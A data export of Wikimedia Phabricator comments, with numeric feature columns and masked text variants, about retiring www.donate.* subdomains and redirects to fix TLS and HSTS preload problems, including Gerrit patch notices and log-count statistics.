@CCogdill_WMF knows more about our various email domains, but maybe we should split that out to a separate task if it's more complicated.",,,1436902702,,PHID-USER-grgqimagqq3ankitlzm5,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.5,1.0,7.5,0.0,0.0,0.5,2.0,0.5,2.5,0.0,0.0,0.5,3.5,0.0,5.0,9.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,6.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,2.5,0.0,2.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,0.5,5.0,3.0,2.0,6.5,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,5.5,9.5,2.5,0.0,0.0,0.0,5.5,0.0,0.0,2.5,0.0,2.0,2.0,0.0,0.0,4.215686274509803,0.8431372549019608,"I'm fine with dropping the www.* subdomains if they're going to cause extra work/cost. Couldn't find anywhere that they are linked to.

Please do keep the project domains as redirects though unless there's a compelling reason not to. Especially donate.wikipedia.org, that's a common (and understandable) mistake. I've even seen WMF staff directing people to that domain.
SCREEN_NAME knows more about our various email domains, but maybe we should split that out to a separate task if it's more complicated."
487727,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223245 had a related patch set uploaded (by Chmarkine):
Remove www.email.donate.wikimedia.org from DNS

[[https://gerrit.wikimedia.org/r/223245]]
",,,1436246831,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.75,0.875,"Change 223245 had a related patch set uploaded (by Chmarkine):
Remove www.email.donate.wikimedia.org from DNS

[[GERRIT_URL]]
"
487238,Decide what to do with *.donate.wikimedia.org subdomain + TLS,Actually http://www.email.donate.wikimedia.org/ can be removed too.,,,1436201177,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Actually URL can be removed too.
487200,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223048 merged by Faidon Liambotis:
Remove dead donate hostnames from redirects

[[https://gerrit.wikimedia.org/r/223048]]",,,1436199725,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.55,0.9,"Change 223048 merged by Faidon Liambotis:
Remove dead donate hostnames from redirects

[[GERRIT_URL]]"
487196,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223048 had a related patch set uploaded (by BBlack):
Remove dead donate hostnames from redirects

[[https://gerrit.wikimedia.org/r/223048]]
",,,1436199643,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.076923076923077,0.8846153846153846,"Change 223048 had a related patch set uploaded (by BBlack):
Remove dead donate hostnames from redirects

[[GERRIT_URL]]
"
487193,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222883 abandoned by Chmarkine:
Remove www.donate.wikipedia.org from DNS

[[https://gerrit.wikimedia.org/r/222883]]",,,1436199506,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.117647058823529,0.8823529411764706,"Change 222883 abandoned by Chmarkine:
Remove www.donate.wikipedia.org from DNS

[[GERRIT_URL]]"
487191,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222880 abandoned by Chmarkine:
Remove www.donate.wiktionary.org from DNS

[[https://gerrit.wikimedia.org/r/222880]]",,,1436199491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.176470588235294,0.8823529411764706,"Change 222880 abandoned by Chmarkine:
Remove www.donate.wiktionary.org from DNS

[[GERRIT_URL]]"
487188,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222877 abandoned by Chmarkine:
Remove www.donate.mediawiki.org from DNS

[[https://gerrit.wikimedia.org/r/222877]]",,,1436199477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.117647058823529,0.8823529411764706,"Change 222877 abandoned by Chmarkine:
Remove www.donate.mediawiki.org from DNS

[[GERRIT_URL]]"
487185,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222876 abandoned by Chmarkine:
Remove www.donate.wikimediafoundation.org from DNS

Reason:
Done in If010437c

[[https://gerrit.wikimedia.org/r/222876]]",,,1436199453,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.083333333333333,0.7916666666666666,"Change 222876 abandoned by Chmarkine:
Remove www.donate.wikimediafoundation.org from DNS

Reason:
Done in If010437c

[[GERRIT_URL]]"
487179,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223044 merged by Faidon Liambotis:
Remove (www\.)?donate from most domains

[[https://gerrit.wikimedia.org/r/223044]]",,,1436199169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,4.4,0.9,"Change 223044 merged by Faidon Liambotis:
Remove (www\.)?donate from most domains

[[GERRIT_URL]]"
487175,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"^ Patch above is a cleanup on this based on stats/arguments above.  Seems like a near-zero-impact change to me, and clears up a lot of TLS problems for us in the process.",,,1436199091,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,7.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,3.3095238095238093,0.8571428571428571,"^ Patch above is a cleanup on this based on stats/arguments above.  Seems like a near-zero-impact change to me, and clears up a lot of TLS problems for us in the process."
487162,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 223044 had a related patch set uploaded (by BBlack):
Remove (www\.)?donate from most domains

[[https://gerrit.wikimedia.org/r/223044]]
",,,1436198345,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,3.9615384615384617,0.8461538461538461,"Change 223044 had a related patch set uploaded (by BBlack):
Remove (www\.)?donate from most domains

[[GERRIT_URL]]
"
487107,Decide what to do with *.donate.wikimedia.org subdomain + TLS,">>! In T102827#1428781, @Krinkle wrote:
> Seems unlikely indeed, though it's not unlikely people may mistype donate.wikimedia.org for donate.mediawiki.org or donate.wikipedia.org. And donate.$project.org shouldn't a problem as those are covered by wildcard certs. The problem is the extra `www.` prefixed variants. I certainly hope we'll keep the `donate.$project.org`, even as mere redirects.

I respectfully disagree :) I think this is the kind of logic that has resulted in us hoarding domains and redirects for every conceivable user error, increasing our complexity for very little benefit. I sincerely doubt many people type URLs at the address bar nowadays and for those who do (like you and me, I guess!), I'm sure they'll be able to handle their browser's error page and take corrective action, rather than say ""oh snap, I guess I'm not going to donate after all"".

That's a matter of my guess and our opinion, though, so I thought it would help to have some data. I ran a grep over oxygen's sampled 1:1000 logs for the past month — the data has some flaws (sampling was probably broken in some cases, and we have at least a large gap of a few days, so numbers are only meaningful as relative to each other, if at all):
```
faidon@oxygen:~$ awk '{ sum += $1 } END { print sum }' per-domain-count
588179523
faidon@oxygen:~$ grep donate per-domain-count
   7939 ""donate.wikimedia.org""
    754 ""donate.wikimedia.org:80""
      8 ""donate.wikipedia.org""
      3 ""donate.wikiquote.com""
      3 ""donate.wikimediafoundation.org""
      3 ""donate.mediawiki.org""
      2 ""donate.wikiquote.org""
      1 ""donate.wiktionary.org""
      1 ""donate.wikiversity.com""
      1 ""donate.wikimediafoundation.com""
      1 ""donate.wikimedia.com""
      1 ""donate.wikibooks.org""
      1 ""donate.wikibooks.com""
faidon@oxygen:~$ head -5 per-domain-count
270110534 ""upload.wikimedia.org""
98696288 ""en.wikipedia.org""
18542227 ""ru.wikipedia.org""
18277072 ""meta.wikimedia.org""
17523536 ""es.wikipedia.org""
faidon@oxygen:~$ tail -5 per-domain-count
      1 ""033153132050""
      1 ""031563056612""
      1 ""0301.0244.0205.0110:443""
      1 ""012565462272""
      1 ""000298-1.l.windowsupdate.com""
```
",,,1436193546,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,4.5,0.0,0.5,0.5,0.5,6.5,1.5,0.0,0.5,0.5,2.0,1.5,0.0,0.5,0.0,7.5,0.5,7.0,11.0,0.0,1.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,7.5,3.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,16.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,2.0,0.0,0.5,0.0,4.0,2.0,7.0,1.0,3.5,8.0,0.0,0.5,0.5,0.0,4.0,0.5,0.5,0.0,9.5,11.0,0.0,0.0,1.0,0.0,9.5,0.0,1.0,2.0,1.0,1.0,0.0,0.5,0.0,3.6185567010309274,0.7628865979381443,"QUOTE
QUOTE

I respectfully disagree :) I think this is the kind of logic that has resulted in us hoarding domains and redirects for every conceivable user error, increasing our complexity for very little benefit. I sincerely doubt many people type URLs at the address bar nowadays and for those who do (like you and me, I guess!), I'm sure they'll be able to handle their browser's error page and take corrective action, rather than say ""oh snap, I guess I'm not going to donate after all"".

That's a matter of my guess and our opinion, though, so I thought it would help to have some data. I ran a grep over oxygen's sampled 1:1000 logs for the past month — the data has some flaws (sampling was probably broken in some cases, and we have at least a large gap of a few days, so numbers are only meaningful as relative to each other, if at all):
``CODE``
"
486924,Decide what to do with *.donate.wikimedia.org subdomain + TLS,">>! In T102827#1374685, @faidon wrote:
> Moreover, I'd like to ask if there is any point of having all of the donate.$project.org combinations. Do people actually ever go to e.g. donate.wikiversity.org? We never advertise that link anywhere, as far as I know.

Seems unlikely indeed, though it's not unlikely people may mistype donate.wikimedia.org for donate.mediawiki.org or donate.wikipedia.org. And donate.$project.org shouldn't a problem as those are covered by wildcard certs. The problem is the extra `www.` prefixed variants. I certainly hope we'll keep the `donate.$project.org`, even as mere redirects.",,,1436169525,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,2.0,3.0,7.0,2.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,3.0,14.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,8.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.084745762711864,0.8305084745762712,"QUOTE
QUOTE

Seems unlikely indeed, though it's not unlikely people may mistype donate.wikimedia.org for donate.mediawiki.org or donate.wikipedia.org. And donate.$project.org shouldn't a problem as those are covered by wildcard certs. The problem is the extra CODE prefixed variants. I certainly hope we'll keep the CODE, even as mere redirects."
486736,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Regarding the mkt41.net cnames, see also T74514 and T60373.",,,1436100127,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.636363636363637,1.0,"Regarding the mkt41.net cnames, see also T74514 and T60373."
486689,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222883 had a related patch set uploaded (by Chmarkine):
Remove www.donate.wikipedia.org from DNS

[[https://gerrit.wikimedia.org/r/222883]]
",,,1436088563,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.5,0.875,"Change 222883 had a related patch set uploaded (by Chmarkine):
Remove www.donate.wikipedia.org from DNS

[[GERRIT_URL]]
"
486686,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222880 had a related patch set uploaded (by Chmarkine):
Remove www.donate.wiktionary.org from DNS

[[https://gerrit.wikimedia.org/r/222880]]
",,,1436087093,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.541666666666667,0.875,"Change 222880 had a related patch set uploaded (by Chmarkine):
Remove www.donate.wiktionary.org from DNS

[[GERRIT_URL]]
"
486680,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222877 had a related patch set uploaded (by Chmarkine):
Remove www.donate.mediawiki.org from DNS

[[https://gerrit.wikimedia.org/r/222877]]
",,,1436082800,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.5,0.875,"Change 222877 had a related patch set uploaded (by Chmarkine):
Remove www.donate.mediawiki.org from DNS

[[GERRIT_URL]]
"
486679,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Change 222876 had a related patch set uploaded (by Chmarkine):
Remove www.donate.wikimediafoundation.org from DNS

[[https://gerrit.wikimedia.org/r/222876]]
",,,1436082464,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.916666666666667,0.875,"Change 222876 had a related patch set uploaded (by Chmarkine):
Remove www.donate.wikimediafoundation.org from DNS

[[GERRIT_URL]]
"
486678,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Oh, actually http://www.donate.wikimediafoundation.org/ redirects to https://wikimediafoundation.org/wiki/Home, and http://www.donate.mediawiki.org/ shows an ""unconfigured domain"" error page. So they are broken already.",,,1436081754,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,21.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.8333333333333334,"Oh, actually URL redirects to URL and URL shows an ""unconfigured domain"" error page. So they are broken already."
486674,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Once these two domain names, `www.donate.wikimediafoundation.org` and `www.donate.mediawiki.org` are removed, `wikimediafoundation.org` and `mediawiki.org` can be preloaded. Fortunately, searching them on Google returns no results: https://www.google.com/search?q=%22www.donate.wikimediafoundation.org%22 and https://www.google.com/search?q=%22www.donate.mediawiki.org%22. So I think it is safe to remove at least these two.

[1] https://raw.githubusercontent.com/wikimedia/operations-dns/master/templates/mediawiki.org
[2] https://raw.githubusercontent.com/wikimedia/operations-dns/master/templates/wikimediafoundation.org
",,,1436081292,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,23.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,5.0,7.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,3.3392857142857144,0.7142857142857143,"Once these two domain names, CODE and CODE are removed, CODE and CODE can be preloaded. Fortunately, searching them on Google returns no results: URL and URL So I think it is safe to remove at least these two.

[1] URL
[2] URL
"
